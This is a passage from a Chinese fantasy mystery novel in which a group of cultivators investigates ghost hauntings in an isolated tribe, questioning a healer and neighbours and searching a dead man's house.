楚汴沉吟片刻道:“据我目前所知,每只鬼似乎都是不同的,但仅是我们的推测,并不能保证,毕竟受害者在那种情景下不可能打量鬼的模样……” 明易:“既然如此,你们判断每只鬼都是不同的依据是什么?” 曾换月:“对呀,说不定人家只是换个衣裳呢!” “换了衣裳?”楚汴一愣,扯了下嘴角,“这我们确实没想过……先前的依据是,每只鬼吓人的方式不同。” 顾梦真:“比如?” 楚汴露出回想的神色:“有一只喜欢在夜间唱歌,鬼音绕耳让人难以入睡;有一只会变成他人的模样骗人,叫人猝不及防;有一只喜欢入人梦中,在梦中缠着人不让醒……” 说到这他语气一沉:“这些倒还好,只是折磨罢了。其中有一只却凶得很,竟然能附身在人身上,然后让那人主动去送死……” 这人应该就是郑银仁说过的唯一被“吓死”的那人?石映心问:“是怎么样的死法?” 楚汴叹出一口气:“他捅了自己几十刀后,又将自己的左臂、双腿,和头都砍了下来。” 大伙听了都很唏嘘:“喔!” 乐鸿摇摇头道:“阿弥陀佛,这得是多大的仇恨?” 张甲听到这里也吓死了,可怜兮兮地对楚汴说:“少司命,这几日就让我留在这吧!” 楚汴微蹙眉头:“我这里只有白粥,招待不起你。” 张甲可怜道:“我吃什么都行!饿点总比死了好!” 听他这么说石映心想道什么:“那些遭鬼吓了之后却没死的人,后来还会被吓吗?” 楚汴闻言,微微摇头道:“好似没有了,后来多是他们提心吊胆地自己吓自己,不过从我这拿了些安神药服下后都好了许多……说起来,距离上次受害者被杀之后到昨晚,已经有六七日没有鬼出现了,之前一般只相隔一两日……为何这次间隔这么久?” 几人面面相觑,明易问道:“不知死去的那人的尸体如今在哪,住所在何处?” 楚汴道:“他有一个儿子,尸体交给他儿子处理了。住所的话我不太清楚,不过你们去问问其他族人,应有不少人知道。” 大伙表示明白了。张甲也松了口气道:“那看来我是逃过了一劫……少司命啊,你也给我开一副安神药吧!” 见他有要走的意思,楚汴也露出一个真心的笑来:“好。” 这时候众人听到有脚步声传来,往门口一看,是一个和小克差不多的年纪的男孩,手上端着一个冒热气的碗。见屋里这么多人,他似乎有些不知所措,呆呆地停在了门口。 楚汴见状,连忙把他手上的碗端了过来,自己还被烫了一下,急忙放到了一边的桌子上,翻过男孩的手一看,果然红彤彤的:“小洋,我不是同你说过了,不要直接捧着碗来,放在托盘上就不烫了。” 小洋点点头,拿手擦了擦自己的衣裳,似乎在缓解烫意。 楚汴叹了口气,转头对张甲道:“你将这碗安神药喝了就能走了,要是之后还是受惊再来找我便是。” 张甲闻言,睨了那小孩一眼,撇嘴道:“我不想喝他熬的药,难喝死了!之前碗里还有一堆药渣!” 楚汴有些不耐道:“世上哪有好喝的药?你嫌弃他熬药难喝,那我开一副药回去你自己熬吧。” “我一个大男人哪里会这个!”张甲双眼一瞪,一拍床道,“少司命你给我熬一碗不行吗?我等得及!” “我熬的药和这碗也没有差别。” “怎么会没有差别?”张甲似乎想压着一些激动,但还是没压住,“这小孩是个傻子,谁知道他熬药的时候往里头放了什么?要是我喝出毛病了怎么办!?” 傻子? 原本只是静静看他们说话的几人皆是恍然,并不怀疑对方是在开玩笑,只是想怪不得看这小洋和普通小孩有些不一样呢?总觉得反应有些迟缓。 楚汴的好脾气这时候告罄了:“我这小医馆供不起你这尊大佛,赶紧走吧!” 张甲似乎很不乐意,但话都说到这了,总不能叫他服软道歉吧,这让他大男人的金贵面子往哪里搁?于是气呼呼地从床上跳下来,不情不愿地、慢吞吞地收拾了自己的东西,一步三回头地离开了屋子。 不知道回头干嘛,又没人挽留他。 张甲离开后,楚汴这才长长吁了口气,对小洋道:“你且等一会,我把褥单换下来,你先拿去泡一泡。” 小洋二话不说,只点了点头,乖乖地站在边上。 楚汴一边拆褥单一边朝边上看戏的几人笑道:“有些人不爱干净,睡了一晚这床就发臭招虫了,还得立刻洗了才好。” 曾换月看见枕头上有一块很明显的暗黄色印记,心说这张甲昨晚才抬过来,这才睡了一晚就这么脏了?真是让人作呕的一男的……“明白明白,没想到开医馆还挺不容易啊。” 楚汴手上动作不停:“这么多年也习惯了。” 第135章 乐鸿同情道:“楚施主,你没想过请个帮手吗?我看医馆的生意不错,而且你还要照顾两个孩子……” 楚汴微微摇头:“几年前才叫忙,当时也是有帮手的,后来族里人死了不少,生意就冷清下来……剩下的都是些不细心的糙人,找他们来帮忙……呵,不如说是帮倒忙,还没小洋这个孩子踏实。” 大伙一听觉得很有道理啊。 石映心这时候问:“小洋是傻子吗?” 场面静了静,楚汴手上的动作也一顿,不过他似乎听得出来石映心只是问、并没有嘲讽的意思,所以还是勉强一笑道:“他只是反应比寻常人慢一些罢了,能吃能喝还能帮我做事,怎么算得上是傻子?再说他年岁尚小,日后还有大好前途,怎么也比那些好吃懒做的人好。” 石映心“哦”了一声,忽然又说:“我看他确实比刚刚那个玩泥巴的小克聪明听话些。” 几人:…… 楚汴:………… 不等其他人反应过来,她又自顾自地推测起来:“小洋不是你的孩子,小克也不是你的孩子,他们二人也并非亲兄弟,年岁又相当……难道他们是七年前死去的那些女人的遗孤?” 楚汴看向她的眼中 有些复杂的情绪:“石仙人真是……机敏过人。” 机敏过人的石仙人问:“他们爹呢?” 楚汴说:“当时死的不只是女人,男人也死了许多,留下了不少孤儿。” 机敏过人的石仙人发现这人说话有些含糊,她只能自己追问道:“这么说,难道是那些聪明的小孩都有人领养,而笨小孩没人要,所以你大发善心将他们二人带回了家?” “去拿冬灰泡一泡。”楚汴把拆下来的褥单团起来交给小洋,“差不多是这么回事。” “这不对。”机敏过人的石仙人说,“七年前他们不过是襁褓中的婴儿,如何看出他们是聪明还是愚笨?” 楚汴的视线从小洋离开的背影中转回来,落在了石映心身上:“实不相瞒,原先是有族人领养小克小洋的,只是不过两年就发现了他们的不同寻常之处,便觉得自己人微力薄,不能肩负起养他们的重责,怕耽误了两个孩子,所以送来了我这。” 乐鸿感动道:“楚施主你真是个好人!” 楚汴谦虚道:“我也只是勉力为之。” 石映心歪了下脑袋,似乎是在打量他:“所以,你与那些人相比有什么优势呢?” 楚汴:? 这话听得他一愣,似乎没想到对方会这么问,正常人应该是乐鸿那样的反应吧……所以他思考了一下,竟然没想出什么很值得一说的理由,不得不有些犹豫道:“也许是我……比较耐心、贴心,更适合照顾小孩。” 石映心:个_个 她师妹这时候说:“因为他比较冤大头啦。” 石映心:“明白了。” 楚汴:…… 他还以为至少会得到一句“心地善良”的夸奖来着。 问得差不多了,临走时几人走到堂屋,石映心瞅了眼贴了一面墙的药柜,联想到自己过年时在秘境中的身份,无故说了一句:“少司命。” 楚汴以为她是在叫自己(虽然这位石仙人方才一直是直呼他大名的),回头问:“石仙人有何吩咐?” 石仙人便问:“少司命是什么意思?你是开药堂的,难道是大夫的意思?” 大概是从来没有人问过他这个问题,楚汴先是一愣,哪怕是自己的职称也得组织一下措辞才好和外人解释:“少司命……以及大司命,是我族源远流长的两种身份;古籍中记载,上古时候两者本是神职,少司命是掌管子嗣、孩童命运的神;而大司命是掌管生死的神……” “许久之前,人们向两位司命神祈求婚配、怀胎,保佑生子,避免灾祸……到了今日,则主要负责族内祭祀一事;大概是因为少司命有庇护孩童的职责,所以每一任都要有接生和看顾婴儿的本事,后来又延伸为医术……” 他说到这里,石映心便听懂了:“那看来你们族里的大司命便是郑银仁了。” 猝不及防又听到城主的大名,楚汴欲言又止地看向她,但还是点了点头:“不错。城主在寻常时候是城主,在祭祀帝俊是便是大司命。” 说到祭祀这个事,明易非常顺其自然地问:“昨日听你们城主提到过几日要准备一场意义重大的祭祀……不知准备得如何了,是否需要我们帮忙?” 楚汴似乎有些意外他们知道这事,摇摇头道:“不劳几位费心,祭祀的事我们族人会准备妥当,几位就安心处理闹鬼和我族被困一事便好。” 察觉到了他的警觉,他们便不再多问;穿过院子的时候看到小克还在那里玩泥巴,只是边上多蹲了一个男人,一边和小克说话一边笑眯眯地摸摸他脑袋,抱抱他肩膀,瞧着和小克关系很好。 有了过来时的遭遇,大伙都不太想和小克亲近,打算就这么走了了事;没想到身后来送他们的楚汴忽然大喝一声:“张乙,你在做什么!?” 这猝不及防的,可把几人吓了一跳。诧异地转头望去,就见那个张乙站了起来,脸上挂着一个讨好的笑:“少司命,我来找您拿药啊,但你方才不是在招待客人嘛,我哪好意思打扰您呢?” 这张乙说话的语气透着一股讨好,哪怕说的是好听话,耳朵也听得油腻腻的。反正看楚汴的脸色很不高兴:“那你在门口等就是了,去打扰小克做什么?” 张乙指了指依旧在自顾自玩泥巴的小克,很无辜地解释道:“我看他一个小孩孤零零地蹲在这里玩泥巴,就陪他玩一玩、说说话。您也瞧见了,我可没欺负他……” 楚汴蹙着眉头,好似还想说什么,但又意识到还有外人在这,抿了抿唇道:“行了,快进来吧,我给你拿药。” “多谢少司命!”这人连忙笑着说,“多谢!” 楚汴往屋里走了两步,又转头朝几人道:“几位慢走,在下就不送了。” “好。” 离开楚家,这五人总算能正大光明地说三道四了。顾梦真道:“原来那小孩脑子有点毛病,那他扔乐鸿泥巴的事也情有可原了。” 曾换月撇了下嘴道:“怎么都是脑子有毛病的,小洋就这么乖,他就要朝人扔泥巴呢?脑子有病也不能改变他是个坏小孩的事实!” 乐鸿连忙说:“没事的没事的,再说泥巴也没真的扔到我身上,当然这多亏了石道友……” 石道友:“他不是讨厌你,只是想扔你;不扔你也会扔别人。” 曾换月:“最讨厌这种小孩了!” 顾梦真叹息:“这么说来,楚汴确实不容易……” “他是不容易没错啦……”说到这,曾换月回味方才的画面,“不过他是不喜欢那个张乙吗,为什么反应这么大?吓了我一跳。” 石映心说:“他很厌恶张乙。” 曾换月便问师姐:“是吧是吧,师姐你知道为什么吗?” 石映心每日照人心思的次数依旧有限制,她一般不用到这种无聊的小事上:“不知道,只看出来在厌恶中也有些警惕。” “警惕?”顾梦真挑了下眉,“难道那个张乙是个坏人?他看起来没这条件啊。瘦瘦弱弱的,个子也不高,感觉随便来个人都能把他打飞。而且看他对楚汴的态度也很讨好……” “也许是因为两个孩子的情况特殊,楚汴担心张乙会和张甲一样,对他们说些难听的话。”明易猜测道,“毕竟有先例在前。” 大家觉得有道理。 他们这会打算去那个被鬼附身后自杀的人,也就是李丙的家中。路上问了两个族人,果然都知道,于是很顺利地找到了李丙的住所。大门紧闭着,他们很礼貌地敲了敲门,扯着嗓子大喊道:“有人在家吗!” 喊了几声没人应,难道是有事出去了? 就在他们商量着要不要直接飞进去看看的时候,边上屋子的门被打开了,先是探出了一个人头,打量着他们问:“没见过你们几个啊?你们是谁?” 明易简单解释了他们的来历后便问李家人是否在家。 “哦,李丙他儿子啊。”邻居想了想道,“我记得处理完他爹的丧事后,大概是前日,就被叫去……额,总之是去做事了,一时半会回不来的。” 石映心追问道:“去做什么事?” 邻居尴尬一笑:“这我也不清楚啊,其实我和他们李家也不太熟的。” 既然李丙儿子不在的话……明易客气道:“我们奉城主之命行事,不知你可否配合我们调查?” 一般来说只要提到“城主”,对方想不答应都不行:“哈哈……行行。” 明易问:“你知道前几日李家闹鬼的事吗?” “知道啊,”邻居说,“当时还是我去叫的侍卫呢,大晚上的听到他们无力鬼哭狼嚎的,吓死人了!” “叫的什么?” “就……救命啊,来人啊……有鬼啊……之类的。” “是李丙在叫?” “好像就听到他的声儿……还叫着什么我错了我错了,我也没听清。反正谁遇到鬼都是吓得胡言乱语的;不过那只鬼铁了心的要杀他,认错也是没用的,死得真惨哦!” 曾换月奇怪道:“他儿子呢?” 邻居“嗐”了一声,挥手道:“他儿子胆子小得不行,我看早就被吓晕过去了!找到他的时候据说藏在茅坑里呢!倒是傻人有傻福,躲过一劫!” 几人若有所思。 第136章 石映心又问:“你觉得那只鬼为什么要杀他?” 曾换月:“是啊,不是说其他人只是被吓一下,最多晕过去而已嘛?” “这……这我就不清楚了,”邻居一摊手,“我也搞不懂鬼的心思啊。” “若是照因果来看……”乐鸿推测道,“会不会是李丙做了对不起鬼的事?李丙是个怎样的人?” 这是个好问题,邻居想了想说:“啧……他确实不算是大好人吧,但也没坏到哪里去。” 石映心:“怎么说?” 邻居道:“就是说话直白了些,脾气着急了些,教育孩子严厉了些……不过男人嘛,都是这样血气方刚、大大咧咧的,很正常,人还是不坏的。” 石映心一照便明白了:“所以你的意思是,他是一个嘴里吐脏喜欢骂人,性情暴躁常常动怒,对孩子非打即骂但是因为没有杀人放火所以还算是好人的人……是吗?” 邻居一听惊了:“你怎么知道!” 其他人都听懵了一瞬,曾换月率先反应过来,大声道:“喂,你怎么还跟我们说谎!” “我没有说谎啊!”这邻居连连摆手,“就是换个说辞罢了,意思差不多啊!” “这叫换个说辞差不多啊?”顾梦真瞪他,“完全是换了个人!照你这个说法,全世界都是好人了!” 邻居“嗐”了一声道:“男人嘛都是这样的,谁家爹不是这样?我也是被我爹打大的啊,现在不也是一个人才?严父才能教出孝子!” 石映心摇摇头。 邻居以为她要反驳:“好吧,我不否认有些爹会温柔一……” 石映心:“你不是人才。” 邻居:…… 石映心:“长得也没有一表人才。” 邻居:………… 石映心:“你的打骂白挨了。” 邻居:。 他显然有些破防了,指着石映心的手在发抖:“你、你·他·娘·的·在胡说……” “我们是奉城主之命来调查此事的。”明易在边上冷言再次强调,“请你如实相告,实事求是。” 邻居深呼一口气压下心中的愤愤,小声反驳道:“我说的都是实话!” 这时候曾换月想到什么,质问道:“喂,那个李丙是不是曾经也对他妻子动辄打骂的!?” 邻居瞥她一眼,理所当然道:“是啊,怎么了?” 还怎么了!曾换月觉得很荒唐,甚至没啥好说的了,立刻定言道:“破案了,那女鬼就是李丙的妻子,回来是要报仇的。” “怎么可能!”这邻居反驳道,“这又不是什么大事。若真是因为这样的鸡毛蒜皮小事,我们全族没几个逃得出鬼手!” “对啊。”曾换月挑眉看他,“所以不是好多家都遭鬼了?等着吧,指不定今晚就轮到你了。” 邻居立刻瞪大眼睛:“你们这些人说话怎么这么难听!” “这就叫说话难听啦?”曾换月翻了白眼,“那你们这些骂·娘·的都是·屁·眼和嘴倒着长了,光会吐屎!” “你!你·他·娘·的……唔!唔唔唔!”他忽然捂住嘴巴,发现自己说不出话了,满脸的惊慌。 这是谁做的好事呢?不知道,好人办事是不留姓名的。 顾梦真将他往门里一塞,“砰”地把门关上了,转头来拍拍手道:“我看也问不出什么了,我们走吧!” 明易瞅瞅师弟师妹,收回视线:“去李丙家中看看。” “好啊。” 既然人不在,那他们就不算不速之客。 轻功越墙而入,原本以为里头会是和张甲家一般的混乱景色,没想到倒还算正常,应该是李丙的儿子后来收拾过了。他们先去正房看了看,堂屋还没什么,一进去边上的卧房就闻到一股浓郁的臭味,像是汗味、脚臭味,尿·骚·味等等各种恶心的人类味道的混合,攻击性极强。 “我去!”顾梦真紧急关闭嗅觉,但人依旧卡在了门口,有些胆怯了,“什么玩意儿,这是那个李丙的卧房吧,臭死人了!” 哪怕已经关闭嗅觉但依旧下意识用手捂着口鼻的曾换月也是大惊:“这是什么味道,太恐怖了!难道是尸臭?” 明易蹙眉道:“李丙是在厨房里被杀的。” 也就是说这里头就是他死前日常生活的味道。顾梦真震惊道:“不是吧,人都已经死这么久了还有这么刺激的味道?!” 石映心淡定道:“腌入味了。” 曾换月:“啊!!” 她本来处在第二个的位置,这会一下跳出来跑到边上,摇摇头道:“我不进去了,我不进去了!” 大家自然也不会勉强她,只勉强自己罢了。进去看了看,发现这屋里明明东西不多,但为啥这么乱呢?地上有一块块像破烂抹布的衣物,床榻上的布衾团在一起像烂掉的菜叶;榻上、枕头上,还有枕头后的墙上,皆是一片黑黄…… 明明没闻到味道,但顾梦真依旧“呕”了一声,感觉自己的眼睛受到了污染:“我、我受不了了……” 乐鸿也是一脸晕厥:“怎么会有人如此不爱干净?” 石映心抿着唇不想说话。 唯有明易还算淡定道:“昨日晚上我去了张甲的卧房,里面比这里要夸张许多。我想李丙的房间平日是有人打扫的,不然要更乱。” 三人同情地看向明易,不知他昨晚都遭受了怎样的伤害。 明易双手一抬,手上已经戴上了一副厚实的白手衣,他朝几人点点头,稳重道:“你们稍等,我来搜吧。” 顾梦真巴不得呢:“交给你了大师兄!” 石映心也点点头。 乐鸿见状也变出手衣来,这下手被包住了,就感到一些安慰:“明道友,我来帮你的忙吧。” “好。” 于是二人开始在屋里搜查起来。石映心原本和二师兄站边上看着,偶尔瞎打量一会,用法术将什么柜子打开、茶壶倒过来等等,做一些小小的检查。 乐鸿在枕头下边翻到几本被翻烂了的春·宫·图,吓得他又塞了回去;那会明易在看柜子没注意,被石映心拿过来瞅了瞅;乐鸿是知道的,但也只是瞠目结舌、欲言又止地看着她,见她翻完了,面色很平静地放了回去,仿佛只是看了普通的话本。 石映心还奇怪地问他:“为什么这么看我?” 乐鸿:…… 这时候明易过来了:“发生了何事?” 乐鸿:………… 石映心:“没事。” 明易不疑有他,举起手上的东西道:“这是我在柜子里发现的一个盒子,不清楚里边曾经放过什么,但现在只剩下一张婚契。” 在屋外听到关键词的曾换月压制不住好奇心地跑了进来:“什么什么?什么,婚契!?” 几人于是凑在一起打量着那张很陈旧但还算完整的婚契,上头的内容和普通婚契都差不多,主要是说李丙 和一个叫陈二娘的女子在十六年前结契,立字生效;二人在上巳节时一见钟情,两情相悦,受少司命祝福成婚…… 石映心问:“上巳节是什么?” 乐鸿道:“上巳节是我们梵音洲的传统节日,源于许久以前的祓禊求子……” 顾梦真:“祓禊是什么?” 乐鸿:“其实就是在河边举行祭祀,洗濯去垢,以达到除灾祛病、祈求福祉的目的……对了,传闻从前女子在这日临河沐浴的话,能触水感孕而得子。” “哈?”曾换月嘴角一扯,“这太扯了,怎么可能嘛?那生下来的孩子算谁的?” 石映心说:“算母亲的。” 曾换月一愣:“哦,是哦。” 乐鸿便继续说:“这活动发展到后来,变成祭祀水神,后代沿袭增添了曲水流觞、踏青等活动,形成了如今的上巳节。不过除了水边设宴、郊外游春之外,人们常常会趁此机会相看钟意的男女,以结良缘……” 曾换月:相亲节啊! 说到这乐鸿顿了顿,谨慎道:“但这些只是我们梵音门听闻的说法,三足乌族与凡间联系并不紧密,不知道他们这的上巳节是如何景况……” 几人点点头表示了解了。顾梦真又问:“对了,这个上巳节是什么时候啊?” “三月三,上巳节。” “三月三。”石映心眨了下眼,指着婚契上的某处说,“李丙和陈二娘是在三月四成的婚。” 四人:OO? “啊?”曾换月感到荒唐地笑了一声,“不是,三月三一见钟情,第二天就成亲啦?” “而且,”明易也说,“一般婚契分为三书,聘书礼书迎书,虽说这三足乌族的婚契草率了一些,但于情于理也该写明聘礼与嫁妆的种类与数量,可这张纸上什么都没有。” 几人虽然没有结过婚,但这会也反应过来了,好像真是这么回事。顾梦真道:“这也太草率了吧?难道他们三足乌族就是这样的习俗?” 曾换月撇嘴:“真不知道便宜了谁哈。反正搁我我不结。” 乐鸿委婉道:“毕竟三足乌族确实长年与世隔绝……” 顾梦真点点头:“小地方么是这样子的啦。” 明易把婚契收起来说:“走,去别处看看。” 石映心:“去厨房看看。” 厨房便是李丙被鬼附身自杀分尸之处。几人来到这,不见预想中的血花四溅、遍地狼藉,反倒是有种别样的整洁,锅碗瓢盆干干净净地摆放着,一边的地上堆着一些干净的柴火。 乐鸿看了便说:“看来这厨房是李丙儿子常用的地方,收拾得挺干净。” 顾梦真道:“他胆子也不小啊,要是寻常人哪里敢这么快就在这死了人的地方做饭……对啊,还是做饭!” 第137章 说到这人,曾换月就“啧”了一声:“不过那个李丙儿子究竟是去哪做工了啊?他们整个族都被困在这里,怎么也走不远的,我们得找他问话啊。” 顾梦真说:“我总觉得有些奇怪,隔壁邻居支支吾吾的,好似想隐瞒什么……而且你们注意到了吗,他说的是‘被叫去’,也就是说不是李丙主动去的?” “我知道他去了哪。”见大家看来,石映心一脸靠谱道,“是一个叫糕梅殿的地方。” “糕梅殿?”曾换月眨眨眼,“梅糕,梅花糕吗?听起来很好吃啊。” 顾梦真“嘶”了一声:“可是这三足乌族饭菜都那么难吃,除了干草就是骆驼肉的……不过也难怪啦,这些乱七八糟的男人哪里会做糕点这样的精致美食啊?” 明易颔首说:“有道理,找机会试探一二。” 乐鸿见石映心一说,他们三人毫无怀疑地就信了,不由得惊奇地问:“石道友是如何知晓的?” 石映心:“你不用多问。” 乐鸿:“……对、对不住,是在下多嘴了。”心里其实不自觉揣测起来,但很快觉得这太冒昧了,连忙摇头把思绪甩开。 即使对方追问,几人也不会把真相告诉他,现在乐鸿很识趣地不追问,他们就更不在意了,毫不掩饰地把这个“就不告诉你”的秘密摆在明面上来。 明易道:“既然这厨房已经收拾过了,那应该没什么线索,我们去李丙儿子屋中看看,重点在找到糕梅殿的线索。” “好。” 来到李丙儿子屋中,算是验证了他们先前对厨房的猜想,因为这人的卧房挺干净的;书案上有一些正经书,以及他写字的练习,练习纸上写得满满当当的,字也很小,大概是这几年出不去,纸张珍贵吧;他们因此发现这儿子的名字叫…… “李大?”曾换月把纸放了下来,“好随便的名字哦。” 顾梦真开玩笑道:“如果还有个孩子肯定叫李二。” 石映心:“为什么不叫李小呢?” “额,这个嘛……也不是没有可能。” 偏题了几位。明易说:“书案我来搜查,你们再看看屋里。” “好。” 于是明易一边翻书案一边听着这几人念念叨叨: 曾换月:“这李大还会绣活呢,师姐你看,这几件破烂衣服缝缝补补得真好,看着还能再穿三年呢。” 石映心:“好寒碜。” 顾梦真:“他在堂屋的翘头案摆了三足乌像供奉,和广场上那尊有些像,虽然擦得挺干净的不过好像有点年头,没那么亮了;边上的香炉上的香灰没清扫干净,感觉走得有点突然啊。” 石映心:“好虔诚。” 乐鸿:“我找到一些伤药和纱布,看起来都用了许多了,还有一些空瓶……唉,我想他平日可能没少受伤……” 石映心:“好可怜。” 明易:…… “这本书中夹了一张李大的画作。”他将画纸打开给几人示意,“画的是一个怀孕的女人,日期是今年的三月初三。” 他们凑上来只看了一眼,便把这幅不管是技巧还是内容都十分简单的画看尽了。曾换月有些感慨:“哇,好丑好抽象。要不是挺着一个大肚子,说这个女人是男人我都信。” 其余几人表示同意。 石映心问:“他为什么要画他们族已经灭亡的女人?还是个怀孕的女人。” “说不定画上的女人是李大的母亲?”乐鸿猜测,“他可能是在怀念母亲?” 石映心:“那为何要在上巳节的时候画?” 曾换月抱着胸:“乐鸿先前不是说上巳节就是男女趁机相看的节日嘛,李大也可能是单纯思春了呗。” “有可能啊,”顾梦真道,“他爸妈不就是在这天一见钟情、喜结良缘的嘛?也许他也想早日成家立业呢?只是现在两条路都被封死了……而且他人到底去哪了啊?” 人去哪了…… 石映这时候想到一个办法:“可以用传音鹤。” 明易眼中一亮,赞同道:“映心说得不错,左右他也离不开三足乌城,用传音鹤找倒是合适。” 于是他们在李大的屋内提取了他的气息附着在传音鹤上,至于里头写了什么……只是一个曾换月画的简笔表情罢了,她本来想画个调皮的鬼脸,后来在大师兄的要求下还是画了一个“呵呵”礼貌微笑。 反正又真不是要对李大说什么,只是为了找到他罢了,不必多言。 折好纸鹤后又给它施加了隐身诀,免得引人注意;接着就可以先让传音鹤飞一会,他们之后再收网。 接着他们又去另一个厢房里找了找,可惜里头都是一些废弃的杂物,没找出什么有用的东西。几人搜寻无果打算离开的时候,石映心忽然看向厨房的地方说:“快日中,该是做饭的时候了。” 其余四人面面相觑,差点忘了她这毛病。曾换月上去挽住师姐胳膊:“师姐要做饭的话就回城主府吧,这李家的厨房可是闹过鬼、死过人的!不吉利不吉利。” 石映心很好说话:“好。” 于是一路往城主府飞,半途居然瞧见了一家人来人往的食店,瞧着生意很不错啊?他们本是有些好奇的,但靠近时闻到下方飘上来的饭菜味后……飞得更快了一些。 “闻着和昨晚郑银仁后厨端上来的那些差不多啊!一闻就知道不好吃。”曾换月瞥了眼下边热闹的情景,有些无语,“生意居然这么好?感觉全城的人都来了。” 顾梦真道:“现在是饭点,估计三足乌城就这一个食店,这些族人肯定是自己懒得做饭,所以啥都吃了呗。” 石映心说:“饥不择食。” 乐鸿摇摇头道:“凡人不会辟谷,总是要想办法活着的。” 说话间他们已经飞到了城主府,没想到一进府门就有城主主动迎上来:“哎呀几位仙人,你们可算回来了,孤等了你们许久啊!” 曾换月瞅他殷勤的神色,狐疑道:“等我们干嘛?” 郑银仁笑呵呵道:“孤看这已经到了日中,正是用午膳的时候,不知几位仙人可否用过膳了?” 顾梦真挑眉 :“还没。” 郑银仁立刻一拍手道:“赶巧赶巧,孤也没吃呢!” 这人是什么意思大伙都听出来了,其实给他蹭饭也没什么,但最可恶的就是他不明摆了地去“请求”,还想让人主动送他台阶;不愧是城主,好大的面子啊!几人听了都有些无语。 石映心瞅他一眼,不温不火道:“都快用午膳的时候,你的大厨却还没为你备好饭菜,该罚。” 郑银仁:“额……” 曾换月抿住差点飞起来的双唇:“咳!是啊,这人怎么拿钱不办事啊?厨艺又这么差劲,我看你辞了他算了!” 郑银仁:“这……” 顾梦真翻了个白眼:“我说郑城主,你要是想蹭我师弟做的饭就直说嘛,弯弯绕绕的做什么?” 郑银仁习惯了高高在上地发号施令,难得城里出现几位需要他“以礼相待”的贵人,他城主的面子和尊严哪里是轻易能放下的;这下被他们又是阴阳怪气又是直白地点了出来,心中实在有些不爽。 可是……他还指望对方帮他做事。 可是……他还想吃石仙人做的饭。 可是……确实也打不过他们哈。 所以郑银仁只好尴尬笑道:“其实孤不是这意思,只是……” 石映心:“你好烦,把我们堵在门口这么久,到底吃不吃?” “……吃!” 餐桌上。 石映心显然很满意自己难得犯毛病做出来的菜,一坐下来就是吃,吃得心满意足;其实她有预感明日就是别样的“性情”了,所以方才在后厨还特地多做了几份,打算之后打包回去吃。 郑银仁吃得津津有味,几次埋头苦吃中抬头看向石仙人,一副欲言又止的模样;但没人主动问他话,他似乎就没找到机会说;直到后边吃饱喝足了,这才憋不住了,对石映心感慨道: “嗐,石仙人有这等高超厨艺,若是个女子,那该是个多么尽职尽责的贤妻良母啊!仔细看看,石仙人也算是容貌端正……” 砰! 他话还没说完,曾换月就拍桌嚷道:“喂,你胡说八道什么呢!” 郑银仁被她吓得心肝一跳,见仙人发火,这会也顾不上什么身份,连忙解释道:“对不住,是孤失言了,石仙人分明就是铁骨铮铮的男子汉,怎么能把他比作用那些只会家长里短的小女子……” 砰! 曾换月这下是跳起来:“你什么意思啊!” 郑银仁又惊又无辜道:“孤怎么了!?” 这真是一场算不上误会的误会。若是郑城主知道她们是女子,定然不敢说出这样的话…… 估计会换个说辞,比如:“如果石仙人是男子,日后必然大有成就啊”,然后引发她们更大的愤怒;总之这人最好不长嘴,长了嘴最好是哑巴,可惜他不是哑巴,那不能长点眼力见少说话吗。 大伙默默地想。 曾换月也料想到自己现在的发火有些无厘头,所以只是翻了个白眼,没再说什么就坐下来了,挂了好长一张脸。 瞅她这长脸,郑银仁是不敢再说话了,说错话无所谓,只是他是身份高贵的城主,哪能一直道歉赔罪呢?给手下看见了让他以后如何立威?这些人只是暂且留在这几日,帮他们处理了鬼和封闭的事就走,小不忍则乱大谋,他必须得忍一忍…… “别生气了。”石映心给师妹夹了菜,宽慰道,“你看如今三足乌城中皆是铁骨铮铮的男子汉,不还是比外边一塌糊涂、一败涂地、一蹶不振?” 郑银仁:…… 说得过了哈,他还坐在这呢。 第138章 不管郑城主心态如何,反正小师妹是高兴了,小师妹高兴石映心也就高兴了。二人高高兴兴地吃完了饭,决定去找传音鹤的下落。 结果跟着感应找去,一路都很熟悉,最后竟然又回到了楚汴这……准确地说,是楚汴住所附近的城墙处。 明易把坚强地用喙卡在墙上的传音鹤取了下来,让它完成了自己的使命:“传音鹤似乎想飞出去,但却没飞出去。” 曾换月抬头看,奇怪道:“为什么飞不出去呢,这墙又不高?不过外边就是沙漠了,啥也没有啊。” “这里是城东尽头吧。”顾梦真左右看了看,有些荒凉的样子,“那边就是楚汴的家……” 石映心说:“这附近好像除了楚汴没有其他族人在住。” 她这么一说,大伙便觉得奇怪起来:其实这附近看起来比其他地方要整洁干净许多,甚至很多房屋都比其他区域的要新一些……难道是因为住在这附近的人少才新的?可是为什么这里人少呢? 总觉得这个没毛病的逻辑链有点毛病啊。 乐鸿提议道:“也许是有其他族人在住,只是我们没遇见?不如我们挨家挨户地去问问?” 大伙说好啊好啊,于是分散开来一个个地去敲门;空荡冷清的街上,这些难得的噪音更显得气氛的死寂和沉默。 砰砰砰!“有没有人在家啊?” 砰砰!“别躲在里面不出声,我知道你在家!” 咚咚!“有人在吗?” 咚咚。“打扰了。” 砰砰砰。“开门。” …… 他们敲了半天,竟然没敲出一个人来,临近楚汴住所的时候还把他吵得出门旁观。他一手牵着小洋,一手提着一个装了草药的篮子,一脸疑惑道:“几位这是在做什么?” 顾梦真甩甩敲门敲累了的手:“楚大夫,你们这条街上不会只住了你一户人家吧?” 楚汴瞥了眼朝他走来的几人,点了点头道:“是,这附近只住了我一户,几位不必再费力气找了。” 曾换月搓了搓手掌,奇怪道:“为什么呀,这附近挺好的啊,怎么就你住这?” 楚汴扯了个似乎有些无奈的笑:“还不是怪我开的这个医馆,族人们担心住得离我近了,会被来往的病人传染了病气……经过七年前那一遭,大家都格外小心,所以渐渐地都搬离了附近,只在需要看病时来这一趟……” 说到这他还松了口气:“不过我这人喜静,人少了反倒自在些,夜里睡得也更踏实。” “原来是这样啊……”顾梦真若有所思,“对了,我们大早上出来的时候,看见有些侍卫在沿街打扫卫生,那你这附近没住什么人,基本也没什么垃圾吧,这些侍卫还要来你这打扫吗?” 楚汴其实有些奇怪他怎么莫名问到打扫垃圾的问题,不过这似乎不是什么不能回答的疑问:“最开始是有人来的,不过确实没什么垃圾,所以只是来兜一圈就走;渐渐地就不来了。” 顾梦真:“噢噢原来如此……楚大夫你吃饭了吗?” “……尚未。” “那你快进去吃呗,”曾换月挥挥手道,“你不饿孩子也饿了,是吧小洋?” 小洋听到自己的名字,下意识看了曾换月一眼,却没回答对方的问题,只是慢慢地又收回了视线。 